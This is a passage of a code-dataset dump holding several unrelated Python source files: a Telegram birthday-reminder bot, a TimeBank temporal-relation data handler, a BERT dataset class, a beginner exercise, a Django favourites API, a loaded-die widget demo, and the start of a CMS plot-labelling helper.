configparser.ConfigParser()\r\nconfig.read(\"birthdaybot_config.ini\")\r\nCREATOR_ID = config[\"Bot\"][\"creator_id\"]\r\nBOT_TOKEN = config[\"Bot\"][\"bot_token\"]\r\n\r\ntext_config = configparser.ConfigParser()\r\ntext_config.read(r\"conf_en.ini\")\r\n\r\n\r\npsql_db = PostgresqlDatabase(\r\n config[\"Database\"][\"name\"],\r\n user=config[\"Database\"][\"user\"],\r\n password=config[\"Database\"][\"password\"],\r\n)\r\n\r\n\r\nclass BaseModel(Model):\r\n class Meta:\r\n database = psql_db\r\n\r\n\r\nclass User(BaseModel):\r\n col_creator = CharField()\r\n col_language = CharField(default=\"en\")\r\n\r\n\r\nclass Birthdays(BaseModel):\r\n col_name = CharField()\r\n col_day = SmallIntegerField()\r\n col_month = SmallIntegerField()\r\n col_year = SmallIntegerField(null=True)\r\n col_note = TextField(null=True)\r\n col_creator = ForeignKeyField(User, backref=\"birthdays\")\r\n\r\n\r\nwith psql_db:\r\n psql_db.create_tables([Birthdays, User])\r\n\r\n\r\ndefaults = Defaults(tzinfo=pytz.timezone(\"Europe/Kyiv\"))\r\n\r\nupdater = Updater(\r\n BOT_TOKEN,\r\n use_context=True,\r\n defaults=defaults,\r\n)\r\n\r\n\r\ncommands = [\r\n BotCommand(\"list\", \"your added birthdays\"),\r\n BotCommand(\"add_birthday\", \"adds a birthday to your list\"),\r\n BotCommand(\"delete_birthday\", \"deletes a birthday from your list\"),\r\n BotCommand(\"add_note\", \"add some info about someone\"),\r\n BotCommand(\"help\", \"general info\"),\r\n BotCommand(\"language\", \"change Bot's language\"),\r\n BotCommand(\"stop\", \"to stop\"),\r\n]\r\nbot = Bot(BOT_TOKEN)\r\nbot.set_my_commands(commands)\r\n\r\n\r\nADD_NAME, ADD_DATE, ADD_NOTE, DEL_NAME, DESC_NAME, CHANGE_LANG = range(6)\r\n\r\n\r\ndef help(update, context):\r\n update.effective_message.reply_text(\r\n f\"\"\"\r\n {text(update, \"Help\", \"head\")}:\r\n /list - {text(update, \"Help\", \"list\")}\r\n /add_birthday - {text(update, \"Help\", \"add_birthday\")} \r\n /delete_birthday - {text(update, \"Help\", \"delete_birthday\")}\r\n /add_note - {text(update, \"Help\", \"add_note\")}\r\n /langauge - {text(update, \"Help\", \"language\")}\r\n\r\n /help - {text(update, \"Help\", \"help\")}\r\n /stop - {text(update, \"Help\", \"stop\")}\r\n \"\"\"\r\n )\r\n\r\n\r\ndef reminder(context):\r\n update = None\r\n when_remind_dict = {\r\n datetime.date.today() + datetime.timedelta(days=7): \"week\",\r\n datetime.date.today() + datetime.timedelta(days=1): \"tomorrow\",\r\n datetime.date.today(): \"today\",\r\n }\r\n for when_remind in when_remind_dict:\r\n for birthday in Birthdays.select().where(\r\n (Birthdays.col_day == when_remind.day)\r\n & (Birthdays.col_month == when_remind.month)\r\n ):\r\n lang = User.get(User.id == birthday.col_creator).col_language\r\n name = birthday.col_name\r\n note = birthday.col_note\r\n message = text(update, \"Reminder\", \"message_start\", lang=lang).format(\r\n name=name,\r\n when=text(update, \"Reminder\", when_remind_dict[when_remind], lang=lang),\r\n )\r\n if birthday.col_year:\r\n age = when_remind.year - birthday.col_year\r\n message += text(update, \"Reminder\", \"message_age\", lang=lang).format(\r\n age=age\r\n )\r\n if note:\r\n message += \"\\n\" + text(\r\n update, \"Reminder\", \"message_note\", lang=lang\r\n ).format(note=note)\r\n message += \"\\n\" + text(update, \"Reminder\", \"message_end\", lang=lang)\r\n context.bot.send_message(\r\n chat_id=User.get(User.id == birthday.col_creator).col_creator,\r\n text=message,\r\n )\r\n\r\n\r\ndef text(update, section, key, lang=None):\r\n if not lang:\r\n lang = User.get(User.col_creator == update.effective_user.id).col_language\r\n text_config.read(f\"conf_{lang}.ini\")\r\n return text_config[section][key]\r\n\r\n\r\ndef language(update, context):\r\n keyboard = [\r\n [\r\n InlineKeyboardButton(\"English\", callback_data=\"en\"),\r\n InlineKeyboardButton(\"Українська\", callback_data=\"ua\"),\r\n ],\r\n ]\r\n reply_markup = InlineKeyboardMarkup(keyboard)\r\n update.message.reply_text(\r\n text(update, \"Language\", \"choose\"), reply_markup=reply_markup\r\n )\r\n return CHANGE_LANG\r\n\r\n\r\ndef _change_language(update, context):\r\n answer = update.callback_query.data\r\n User.update(col_language=answer).where(\r\n User.col_creator == update.effective_user.id\r\n ).execute()\r\n text_config.read(f\"conf_{answer}.ini\")\r\n update.callback_query.edit_message_text(text=text(update, \"Language\", \"changed\"))\r\n help(update, context)\r\n return ConversationHandler.END\r\n\r\n\r\ndef add_birthday(update, context):\r\n update.message.reply_text(text(update, \"AddBirthday\", \"print_name\"))\r\n return ADD_NAME\r\n\r\n\r\ndef _add_name(update, context):\r\n name = update.message.text\r\n user = User.select().where(User.col_creator == update.effective_user.id).first()\r\n if len(name) > 255:\r\n update.message.reply_text(text(update, \"AddBirthday\", \"too_long\"))\r\n return ADD_NAME\r\n if user.birthdays.select().where(Birthdays.col_name == name).first():\r\n update.message.reply_text(text(update, \"AddBirthday\", \"already_taken\"))\r\n return ADD_NAME\r\n context.user_data[\"current_name\"] = name\r\n update.message.reply_text(text(update, \"AddBirthday\", \"print_date\"))\r\n return ADD_DATE\r\n\r\n\r\ndef _save_birthday(update, context):\r\n date = update.message.text\r\n try:\r\n if not date[2] == \".\":\r\n raise ValueError\r\n day, month = int(date[:2]), int(date[3:5])\r\n if day == 29 and month == 2:\r\n update.message.reply_text(\r\n text(update, \"AddBirthday\", \"29th\").format(newline1=\"\\n\", newline2=\"\\n\")\r\n )\r\n return ADD_DATE\r\n year = None\r\n if len(date) == 10:\r\n if not date[5] == \".\":\r\n raise ValueError\r\n year = int(date[-4:])\r\n if datetime.date.today() < datetime.date(year, month, day):\r\n raise ValueError\r\n datetime.date(datetime.date.today().year, month, day)\r\n except Exception:\r\n update.message.reply_text(text(update, \"AddBirthday\", \"invalid_date\"))\r\n return ADD_DATE\r\n Birthdays.create(\r\n col_name=context.user_data[\"current_name\"],\r\n col_day=day,\r\n col_month=month,\r\n col_year=year,\r\n col_creator=User.get(User.col_creator == update.effective_user.id),\r\n )\r\n update.message.reply_text(text(update, \"AddBirthday\", \"added\"))\r\n help(update, context)\r\n return ConversationHandler.END\r\n\r\n\r\ndef add_note(update, context):\r\n update.message.reply_text(text(update, \"AddNote\", \"print_name\"))\r\n list(update, context)\r\n return DESC_NAME\r\n\r\n\r\ndef _find_name(update, context):\r\n name = update.message.text\r\n user = User.select().where(User.col_creator == update.effective_user.id).first()\r\n if not user.birthdays.select().where(Birthdays.col_name == name):\r\n update.message.reply_text(text(update, \"AddNote\", \"invalid_name\"))\r\n return DESC_NAME\r\n context.user_data[\"current_name\"] = name\r\n update.message.reply_text(\r\n text(update, \"AddNote\", \"print_desc\").format(newline=\"\\n\")\r\n )\r\n return ADD_NOTE\r\n\r\n\r\ndef _save_note(update, context):\r\n note = update.message.text\r\n user = User.select().where(User.col_creator == update.effective_user.id).first()\r\n Birthdays.update(col_note=note).where(\r\n (Birthdays.col_name == context.user_data[\"current_name\"])\r\n & (Birthdays.col_creator == user.id)\r\n ).execute()\r\n update.message.reply_text(text(update, \"AddNote\", \"added\"))\r\n help(update, context)\r\n return ConversationHandler.END\r\n\r\n\r\ndef delete_birthday(update, context):\r\n list(update, context)\r\n update.message.reply_text(text(update, \"DeleteBirthday\", \"print_name\"))\r\n return DEL_NAME\r\n\r\n\r\ndef _del_name(update, context):\r\n del_name = update.message.text\r\n user = User.select().where(User.col_creator == update.effective_user.id).first()\r\n query = Birthdays.delete().where(\r\n (Birthdays.col_creator == user) & (Birthdays.col_name == del_name)\r\n )\r\n if not query.execute():\r\n update.message.reply_text(text(update, \"DeleteBirthday\", \"invalid_name\"))\r\n return DEL_NAME\r\n update.message.reply_text(text(update, \"DeleteBirthday\", \"deleted\"))\r\n help(update, context)\r\n return ConversationHandler.END\r\n\r\n\r\ndef list(update, context):\r\n message = text(update, \"List\", \"head\") + \"\\n\"\r\n border = \"=\" * 30\r\n today = datetime.date.today()\r\n today_added = 0\r\n\r\n user = (\r\n User.select()\r\n .where(User.col_creator == update.effective_user.id)\r\n .first()\r\n .birthdays\r\n )\r\n\r\n for birthday in user.select().order_by(Birthdays.col_month, Birthdays.col_day):\r\n name, note = birthday.col_name, birthday.col_note\r\n day, month, year = (\r\n str(birthday.col_day),\r\n text(update, \"Month\", str(birthday.col_month)),\r\n str(birthday.col_year),\r\n )\r\n\r\n if datetime.date(today.year, birthday.col_month, int(day)) == today:\r\n today_birthday = text(update, \"List\", \"today_birthday\").format(name=name)\r\n message += f\"{border}\\n{day} {month} --- {today_birthday}\\n{border}\\n\"\r\n today_added = 1\r\n continue\r\n elif (\r\n datetime.date(today.year, birthday.col_month, int(day)) > today\r\n and not today_added\r\n ):\r\n word_today = text(update, \"List\", \"today\")\r\n today_month = text(update, \"Month\", str(today.month))\r\n message += (\r\n f\"{border}\\n{today.day} {today_month} --- {word_today}\\n{border}\\n\"\r\n )\r\n today_added = 1\r\n space = \"-\"\r\n if len(name) < 9:\r\n space = \"-\" * (10 - len(name))\r\n message += f\"{day} {month}\"\r\n if birthday.col_year:\r\n message += f\", {year}\"\r\n message += f\" {space} {name}\"\r\n if note:\r\n message += f\" ({note})\\n\"\r\n else:\r\n message += f\"\\n\"\r\n\r\n if message == text(update, \"List\", \"head\"):\r\n update.message.reply_text(text(update, \"List\", \"empty\").format(newline=\"\\n\"))\r\n else:\r\n if today_added == 0:\r\n today_month = text(update, \"Month\", str(today.month))\r\n word_today = text(update, \"List\", \"today\")\r\n message += (\r\n f\"{border}\\n{today.day} {today_month} --- {word_today}\\n{border}\\n\"\r\n )\r\n update.message.reply_text(message)\r\n\r\n\r\ndef stop(update, context):\r\n return ConversationHandler.END\r\n\r\n\r\ndef start(update, context):\r\n if not User.select().where(User.col_creator == update.effective_user.id):\r\n User.create(col_creator=update.effective_user.id)\r\n update.message.reply_text(text(update, \"Misc\", \"start\"))\r\n help(update, context)\r\n\r\n\r\nadd = ConversationHandler(\r\n entry_points=[CommandHandler(\"add_birthday\", add_birthday)],\r\n states={\r\n ADD_NAME: [MessageHandler(Filters.text & (~Filters.command), _add_name)],\r\n ADD_DATE: [MessageHandler(Filters.text & (~Filters.command), _save_birthday)],\r\n },\r\n fallbacks=[\r\n MessageHandler(Filters.command, stop),\r\n ],\r\n)\r\n\r\ndelete = ConversationHandler(\r\n entry_points=[CommandHandler(\"delete_birthday\", delete_birthday)],\r\n states={\r\n DEL_NAME: [MessageHandler(Filters.text & (~Filters.command), _del_name)],\r\n },\r\n fallbacks=[\r\n MessageHandler(Filters.command, stop),\r\n ],\r\n)\r\n\r\ndescribe = ConversationHandler(\r\n entry_points=[CommandHandler(\"add_note\", add_note)],\r\n states={\r\n DESC_NAME: [MessageHandler(Filters.text & (~Filters.command), _find_name)],\r\n ADD_NOTE: [MessageHandler(Filters.text & (~Filters.command), _save_note)],\r\n },\r\n fallbacks=[\r\n MessageHandler(Filters.command, stop),\r\n ],\r\n)\r\n\r\n\r\ndef error_handler(update, context):\r\n exc_info = context.error\r\n\r\n error_traceback = traceback.format_exception(\r\n type(exc_info), exc_info, exc_info.__traceback__\r\n )\r\n\r\n message = (\r\n \"bot_data\\n\"\r\n f\"
{context.bot_data}
\\n\"\r\n \"user_data\\n\"\r\n f\"
{context.user_data}
\\n\"\r\n \"chat_data\\n\"\r\n f\"
{context.chat_data}
\\n\"\r\n \"exception\\n\"\r\n f\"
{''.join(error_traceback)}
\"\r\n )\r\n\r\n context.bot.send_message(chat_id=CREATOR_ID, text=message, parse_mode=\"HTML\")\r\n update.effective_user.send_message(text(update, \"Misc\", \"error\"))\r\n\r\n\r\nupdater.dispatcher.add_error_handler(error_handler)\r\nupdater.dispatcher.add_handler(CommandHandler(\"help\", help), 0)\r\nupdater.dispatcher.add_handler(CommandHandler(\"list\", list), 0)\r\nupdater.dispatcher.add_handler(CommandHandler(\"start\", start, 0))\r\nupdater.dispatcher.add_handler(CommandHandler(\"stop\", stop), 0)\r\nupdater.dispatcher.add_handler(CommandHandler(\"language\", language), 1)\r\nupdater.dispatcher.add_handler(\r\n CallbackQueryHandler(_change_language, pattern=\"ua|en\"),\r\n 0,\r\n)\r\nupdater.dispatcher.add_handler(add, 2)\r\nupdater.dispatcher.add_handler(delete, 3)\r\nupdater.dispatcher.add_handler(describe, 4)\r\n\r\nupdater.job_queue.run_daily(reminder, time=datetime.time(hour=9, minute=0, second=0))\r\n\r\nupdater.start_polling()\r\nupdater.idle()\r\n","repo_name":"orehzzz/telegram_birthdaybot","sub_path":"birthdaybot.py","file_name":"birthdaybot.py","file_ext":"py","file_size_in_byte":14181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"262238973","text":"import numpy as np\nfrom collections import defaultdict\nfrom eventvec.server.data.timebank.timebank_reader.timebank_model.timebank_document import TimebankDocument # noqa\nfrom eventvec.server.data.timebank.timebank_reader.timebank_model.timebank_timex import TimebankTimex # noqa\nfrom eventvec.server.data.timebank.timebank_reader.timebank_reader import TimeMLDataReader # noqa\nfrom eventvec.server.data.timebank.timebank_reader.timebank_dense_reader import TimeBankDenseDataReader # noqa\nfrom eventvec.server.data.timebank.timebank_reader.timebank_model.timebank_event import TimebankEvent # noqa\nfrom eventvec.server.tasks.relationship_classification.datahandlers.model_input.model_input_data import ModelInputData # noqa\nfrom eventvec.server.tasks.relationship_classification.datahandlers.model_input.model_input_datum import ModelInputDatum # noqa\nfrom eventvec.server.data.timebank.timebank_reader.te3_gold_reader import TE3GoldDatareader # noqa\nfrom eventvec.server.data.timebank.timebank_reader.te3_silver_reader import TE3SilverDatareader # noqa\nfrom eventvec.server.data.timebank.timebank_reader.te3_platinum_reader import TE3PlatinumDatareader # noqa\nfrom eventvec.server.data.matres.matres_readers.matres_reader import MatresDataReader # noqa\nfrom eventvec.server.data.timebank.timebank_reader.aquaint_reader import AquaintDatareader # noqa\n\n\nDATANAME = \"timebank_dense\"\n\n\nrel2rel = {\n 'IS_INCLUDED': 'is_included',\n 'SIMULTANEOUS': 'simultaneous',\n 'BEFORE': 'before',\n 'IDENTITY': 'identity',\n 'DURING': 'during',\n 'ENDED_BY': 'ended_by',\n 'BEGUN_BY': 'begun_by',\n 'IAFTER': 'i_after',\n 'AFTER': 'after',\n 'IBEFORE': 'i_before',\n 'ENDS': 'ends',\n 'INCLUDES': 'includes',\n 'DURING_INV': 'during_inv',\n 'BEGINS': 'begins',\n 'NONE': 'none',\n}\n\nrel2rel_opposite = {\n 'IS_INCLUDED': 'includes',\n 'SIMULTANEOUS': 'simultaneous',\n 'BEFORE': 'after',\n 'AFTER': 'before',\n 'INCLUDES': 'is_included',\n 'NONE': 'none',\n}\n\n\nrel2rel_simpler = {\n 'is_included': 'during',\n 'simultaneous': 'during',\n 'before': 'before',\n 'identity': 'during',\n 'during': 'during',\n 'ended_by': 'during',\n 'begun_by': 'during',\n 'iafter': 'after',\n 'after': 'after',\n 'ibefore': 'before',\n 'ends': 'during',\n 'includes': 'during',\n 'during_inv': 'during',\n 'begins': 'during',\n 'none': 'none',\n 'modal': 'modal',\n 'evidential': 'evidential',\n 'factual': 'factual',\n 'equal': 'during',\n \"vague\": \"vague\",\n \"counter_factive\": \"counter_factive\",\n 'factive': 'factive',\n 'neg_evidential': 'neg_evidential',\n 'conditional': 'conditional',\n None: 'none',\n}\n\nrel2rel_opposite = {\n 'during': 'during',\n 'after': 'before',\n 'before': 'after',\n 'none': 'none',\n 'modal': 'modal',\n 'evidential': 'evidential',\n 'factual': 'factual',\n 'equal': 'during',\n \"vague\": \"vague\",\n \"counter_factive\": \"counter_factive\",\n 'factive': 'factive',\n 'neg_evidential': 'neg_evidential',\n 'conditional': 'conditional',\n None: 'none',\n}\n\ndatareaders = {\n 'timebank': TimeMLDataReader,\n 'timebank_dense': TimeBankDenseDataReader,\n 'te3_gold': TE3GoldDatareader,\n 'te3_silver': TE3SilverDatareader,\n 'te3_platinum': TE3PlatinumDatareader,\n}\n\n\nclass TimeBankBertDataHandler:\n\n def __init__(self):\n self._model_input_data = ModelInputData()\n self._data = []\n self._train_data = []\n self._test_data = []\n self._matres_reader = MatresDataReader()\n self._aquaint_reader = AquaintDatareader()\n self._timebank_reader = TE3GoldDatareader()\n self._timebank_platinum_reader = TE3PlatinumDatareader()\n\n def load(self):\n self.allocate_train_test_data()\n\n def load_data(self, documents, train_test):\n data = []\n pos2rel = defaultdict(lambda: defaultdict(int))\n self._matres_dict = self._matres_reader.matres_dict('timebank')\n self._matres_dict.update(self._matres_reader.matres_dict('aquaint'))\n self._matres_dict.update(self._matres_reader.matres_dict('platinum'))\n t0_dict = {}\n for document in documents:\n for tlink in document.tlinks():\n if 't' in tlink.tlink_type():\n continue\n tlink_type = tlink.tlink_type()\n if tlink_type[0] == 'e':\n from_event = tlink.event_instance_id()\n\n if tlink_type[1:] == '2e':\n to_event = tlink.related_to_event_instance()\n rel_type = tlink.rel_type()\n data = self._process_link(document, from_event, to_event, rel_type, data, t0_dict)\n\n for slink in document.slinks():\n from_event = slink.event_instance_id()\n to_event = slink.subordinated_event_instance()\n rel_type = slink.rel_type()\n data = self._process_link(document, from_event, to_event, rel_type, data, t0_dict)\n return data\n\n def _process_link(self, document, from_event, to_event, rel_type, data, t0_dict):\n\n matres_key = (document.file_name(), from_event.strip('ei'), to_event.strip('ei'))\n matres_key_opp = (document.file_name(), to_event.strip('ei'), from_event.strip('ei'))\n\n if rel_type in ['EVIDENTIAL', 'MODAL', 'FACTUAL']:\n if matres_key in self._matres_dict:\n rel_type = self._matres_dict[matres_key][-1]\n elif matres_key_opp in self._matres_dict:\n rel_type = self._matres_dict[matres_key_opp][-1]\n\n rel_type = rel2rel_simpler[rel_type.lower()]\n from_sentence, from_sseq, from_sentence_i, from_token_i, from_start_token_i, from_end_token_i, from_token = self.event_instance_id2sentence(\n document, from_event, 'from',\n )\n\n to_sentence, to_sseq, to_sentence_i, to_token_i, to_start_token_i, to_end_token_i, to_token = self.event_instance_id2sentence(\n document, to_event, 'to',\n )\n\n\n token_order = self.token_order(from_sentence_i, from_token_i, to_sentence_i, to_token_i)\n\n if len(to_sentence.text()) == 0 or len(from_sentence.text()) == 0:\n return data\n \n if token_order is False:\n from_sentence, to_sentence = to_sentence, from_sentence\n from_sseq, to_sseq = to_sseq, from_sseq\n rel_type = rel2rel_opposite[rel_type]\n from_start_token_i, to_start_token_i = to_start_token_i, from_start_token_i\n from_end_token_i, to_end_token_i = to_end_token_i, from_end_token_i\n\n model_input_datum = ModelInputDatum()\n model_input_datum.set_from_original_sentence(from_sentence.text())\n model_input_datum.set_to_original_sentence(to_sentence.text())\n model_input_datum.set_from_sentence(from_sseq)\n model_input_datum.set_to_sentence(to_sseq)\n model_input_datum.set_relationship(rel_type)\n model_input_datum.set_from_entity_start_token_i(\n from_start_token_i\n )\n model_input_datum.set_from_entity_end_token_i(\n from_end_token_i\n )\n model_input_datum.set_to_entity_start_token_i(\n to_start_token_i\n )\n model_input_datum.set_to_entity_end_token_i(\n to_end_token_i\n )\n model_input_datum.set_token_order(token_order)\n data.append(model_input_datum)\n return data\n\n def event_instance_id2sentence(self, document, eiid, event_point):\n make_instance = document.event_instance_id2make_instance(eiid)\n eid = make_instance.event_id()\n sseq = []\n sentence_i = None\n token_i = None\n start_token_i = None\n end_token_i = None\n from_sentence = None\n token = None\n if event_point == 'from':\n tags = ('entity1', 'entity1')\n elif event_point == 'to':\n tags = ('entity2', 'entity2')\n if document.is_eid(eid) is True:\n from_sentence = document.eid2sentence(eid)\n sentence_i = from_sentence.sentence_i()\n for s in from_sentence.sequence():\n if isinstance(s, TimebankEvent):\n if s.eid() == eid:\n sseq.extend([tags[0], s.text(), tags[1]])\n token_i = s.sentence_token_i()\n start_token_i = s.start_token_i()\n end_token_i = s.end_token_i()\n token = s\n else:\n sseq.append(s.text())\n else:\n sseq.append(s.text())\n return from_sentence, sseq, sentence_i, token_i, start_token_i, end_token_i, token\n\n def time_id2sentence(self, document: TimebankDocument, time_id):\n sseq = []\n if document.is_time_id(time_id) is True:\n from_sentence = document.time_id2sentence(time_id)\n for s in from_sentence.sequence():\n if isinstance(s, TimebankTimex):\n if s.tid() == time_id:\n sseq.extend(['entity2', s.text(), 'entity1'])\n else:\n sseq.append(s.text())\n return sseq\n\n def token_order(self, from_sentence_i, from_token_i, to_sentence_i,\n to_token_i):\n if from_sentence_i < to_sentence_i:\n return True\n elif from_sentence_i > to_sentence_i:\n return False\n elif from_sentence_i == to_sentence_i:\n if from_token_i < to_token_i:\n return True\n else:\n return False\n\n def allocate_train_test_data(self):\n dr = datareaders.get(DATANAME)\n dr = dr()\n train_documents = self._timebank_reader.timebank_documents() + self._aquaint_reader.timebank_documents()\n test_documents = self._timebank_platinum_reader.timebank_documents()\n train_data = self.load_data(train_documents, 'train')\n self._model_input_data.set_train_data(train_data)\n test_data = self.load_data(test_documents, 'test')\n self._model_input_data.set_test_data(test_data)\n\n def model_input_data(self):\n return self._model_input_data\n","repo_name":"vedmathai/event-vec","sub_path":"eventvec/server/data/timebank/datahandlers/timebank_data_handler.py","file_name":"timebank_data_handler.py","file_ext":"py","file_size_in_byte":10217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27882997478","text":"from torch.utils.data import Dataset\nimport torch\n\n\nclass Data(Dataset):\n def __init__(self, text, lable):\n super(Data, self).__init__()\n self.tokenizer = torch.hub.load('huggingface/pytorch-transformers', 'tokenizer',\n 'bert-base-cased-finetuned-mrpc')\n self.texts = text\n self.lables = lable\n\n def __len__(self):\n return len(self.texts)\n\n def __getitem__(self, index):\n text = self.texts[index]\n lable = self.lables[index]\n encoding = self.tokenizer(text, return_tensors='pt', max_length=64, padding='max_length', truncation=True)\n return {'input_ids': encoding['input_ids'].flatten(), 'attention_mask': encoding['attention_mask'].flatten(),\n 'label': lable.reshape(-1)}\n","repo_name":"Abolmw4/SMS_classification","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34602856978","text":"\"\"\"\nFaça um Programa que peça a idade e a altura de 5 pessoas, armazene cada\ninformação no seu respectivo vetor. Imprima a idade e a altura na ordem\ninversa a ordem lida.\n\"\"\"\nPESSOAS = 5\nidades = []\nalturas = []\nfor i in range(PESSOAS):\n idades.append(int(input(f\"Digite a idade da pessoa {i+1}: \")))\n alturas.append(float(input(f\"Digite a altura da pessoa {i+1} em cm: \")))\n\n# ? i começa em 4 e vai até 0 de forma decrescende\nfor i in range(PESSOAS - 1, -1, -1):\n print(f\"A pessoa {i+1} mede {alturas[i]:.2f}cm e tem {idades[i]} ano(s)\")\n","repo_name":"isquicha/exercicios-logica-python","sub_path":"exercicios/099.py","file_name":"099.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"pt","doc_type":"code","stars":139,"dataset":"github-code","pt":"62"} +{"seq_id":"10780311200","text":"from rest_framework.generics import \\\n ListCreateAPIView, \\\n RetrieveUpdateDestroyAPIView\nfrom rest_framework.permissions import IsAuthenticated\nfrom comment.api.serializers import *\nfrom favourites.api.permissions import IsOwner\nfrom favourite.models import Favourite\nfrom favourites.api.serializers import *\nfrom favourites.api.pagination import FavouritePagination\n\n\n#hem listeleme hem create model mixin blndran bir modeldr 2 mixin var\n# bu sayede haricin eklemek yerine mixin ile ugrasmaktansa brden cok\n#yapı aynı syfada istiyrsan bnlar mntkli cnku cok ugrasmıyorsn kendi fonksiynlaryla\n#dgerlernde asagıya bide fonksiyonlarını yazıodn mixin lerde\nclass FavouriteListCreateAPIView(ListCreateAPIView):\n #queryset = Favourite.objects.all()\n serializer_class = FavouriteListCreateAPISerializer\n permission_classes = [IsAuthenticated]\n pagination_class = FavouritePagination\n\n def perform_create(self, serializer):\n serializer.save(user = self.request.user)\n\n def get_queryset(self):\n return Favourite.objects.filter(user = self.request.user)\n\n\nclass FavouriteAPIView(RetrieveUpdateDestroyAPIView): #retrieve getrdi update ile update\n queryset = Favourite.objects.all()\n serializer_class = FavouriteAPISerializer\n lookup_field = \"pk\"\n permission_classes = [IsOwner]\n\nclass FavouriteListCreateAPIView(ListCreateAPIView):\n #queryset = Favourite.objects.all()\n serializer_class = FavouriteListCreateAPISerializer\n permission_classes = [IsAuthenticated]\n pagination_class = FavouritePagination\n\n def perform_create(self, serializer):\n serializer.save(user = self.request.user)\n\n def get_queryset(self):\n return Favourite.objects.filter(user = self.request.user)","repo_name":"mustafaakgul/drf_blog","sub_path":"favourites/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74788377477","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jun 29 16:48:24 2020\r\n\r\n@author: Erik\r\n\"\"\"\r\n\r\nimport ipywidgets as widgets\r\nfrom IPython.display import display\r\nimport matplotlib.pyplot as plt\r\nimport random\r\n\r\noutcomes=[widgets.IntText(value=0,continuous_update=False) for _ in range(6)]\r\n\r\ndef update_data(num_rolls=1):\r\n weights=[7,10,7,4,2,1]\r\n indices=range(6)\r\n data=[0]*6\r\n for _ in range(num_rolls):\r\n i=random.choices(indices,weights)[0]\r\n data[i]+=1\r\n\r\n for j in range(6):\r\n outcomes[j].value=outcomes[j].value+data[j]\r\n\r\ndef reset_data():\r\n for o in outcomes:\r\n o.value=0\r\n \r\ndef testy(o1,o2,o3,o4,o5,o6):\r\n fig=plt.figure(figsize=(10,5))\r\n a=plt.subplot(121)\r\n b=plt.subplot(122)\r\n b.set_ylim(0,1)\r\n o=[o1,o2,o3,o4,o5,o6]\r\n a.bar(['1','2','3','4','5','6'],o)\r\n if sum(o)>0:\r\n b.bar(['1','2','3','4','5','6'],[i/sum(o) for i in o],color=['y' for _ in range(6)])\r\n\r\nidict={'o{}'.format(i+1):outcomes[i] for i in range(6)}\r\nout=widgets.interactive_output(testy,idict)\r\n\r\nbutton = widgets.Button(description=\"Roll Once\")\r\nbutton2=widgets.Button(description=\"Roll Ten Times\")\r\nbutton3=widgets.Button(description=\"Roll A Hundred Times\")\r\nbutton4=widgets.Button(description=\"Reset\")\r\noutput = widgets.Output()\r\nl=widgets.VBox([button,button2,button3])\r\nr=widgets.VBox([button4])\r\nui=widgets.HBox([l,r])\r\ndisplay(ui, out, output)\r\ndef on_button_clicked(b):\r\n with output:\r\n update_data()\r\ndef on_button2_clicked(b):\r\n with output:\r\n update_data(10)\r\ndef on_button3_clicked(b):\r\n with output:\r\n update_data(100)\r\ndef on_button4_clicked(b):\r\n with output:\r\n reset_data()\r\nbutton.on_click(on_button_clicked)\r\nbutton2.on_click(on_button2_clicked)\r\nbutton3.on_click(on_button3_clicked)\r\nbutton4.on_click(on_button4_clicked)","repo_name":"qBraid/QISE-NCAT","sub_path":"Qubes_course/python_functions/loaded_die.py","file_name":"loaded_die.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"23390250938","text":"import ROOT\n\ndef CMS_text(\n pad, \n draw_cms=True,\n cms_text=\"CMS\",\n cms_text_scale=1.0,\n cms_text_location=\"inside left\",\n cms_pos_x_scale=1.0,\n cms_pos_y_scale=1.0,\n draw_extra_text=False,\n extra_text=\"Preliminary\",\n extra_text_location=\"inside left below\",\n extra_text_pos_x_scale=1.0,\n extra_text_pos_y_scale=1.0,\n draw_lumi_text=False,\n lumi_text=\"#scale[1.0]{3000 fb^{-1} (14 TeV)}\",\n lumi_text_pos_x_scale=1.0,\n lumi_text_pos_y_scale=1.0\n):\n \"\"\"Insert text outside frame, in upper-left\n \n Parameters\n ----------\n pad : instance of ROOT.TPad or ROOT.TCanvas\n pad or canvas to draw on\n draw_cms : bool, optional\n draws \"CMS\" text (default is True)\n cms_text : str, optional\n cms text (default is \"CMS\")\n cms_text_scale : float, optional\n scale cms_text (default is 1.0)\n cms_text_location : str, optional\n location of cms_text (default is \"inside left\")\n options, \"outside left\"\n \"inside left\"\n \"inside center\"\n \"inside right\"\n cms_pos_x_scale : float, optional\n for fine positioning of cms_text (default is 1.0)\n cms_pos_y_scale : float, optional\n for fine positioning of cms_text (default is 1.0)\n draw_extra_text : bool, optional\n draw extra text next cms_text (default is False)\n extra_text: str, optional\n extra text (default is \"Preliminary\")\n extra_text_location : str, optional\n location of extra_text, (default is \"inside left below\")\n options, \"outside left right\"\n \"inside left below\"\n \"inside left right\"\n \"inside center below\"\n \"inside right below\"\n \"outside center\"\n extra_pos_x_scale : float, optional\n for fine positioning of extra_text (default is 1.0)\n extra_pos_y_scale : float, optional\n for fine positioning of extra_text (default is 1.0)\n \n draw_lumi_text : bool, optional\n draw lumi text on top right outside frame (default is False)\n lumi_text: str, optional\n extra text (default is \"#scale[0.95]{3000 fb^{1} (14 TeV)}\")\n lumi_pos_x_scale : float, optional\n for fine positioning of lumi_text (default is 1.0)\n lumi_pos_y_scale : float, optional\n for fine positioning of lumi_text (default is 1.0)\n \n Returns\n -------\n instance of ROOT.TLatex used to draw.\n \"\"\"\n\n\n pad_height = pad.GetWh()\n pad_width = pad.GetWw()\n pad_left_margin = pad.GetLeftMargin()\n pad_top_margin = pad.GetTopMargin()\n pad_right_margin = pad.GetRightMargin()\n pad_bottom_margin = pad.GetBottomMargin()\n\n pad.cd()\n\n latex = ROOT.TLatex()\n latex.SetNDC()\n latex.SetTextAngle(0)\n latex.SetTextColor(ROOT.kBlack)\n\n\n cms_text_font = 61\n cms_text_size = 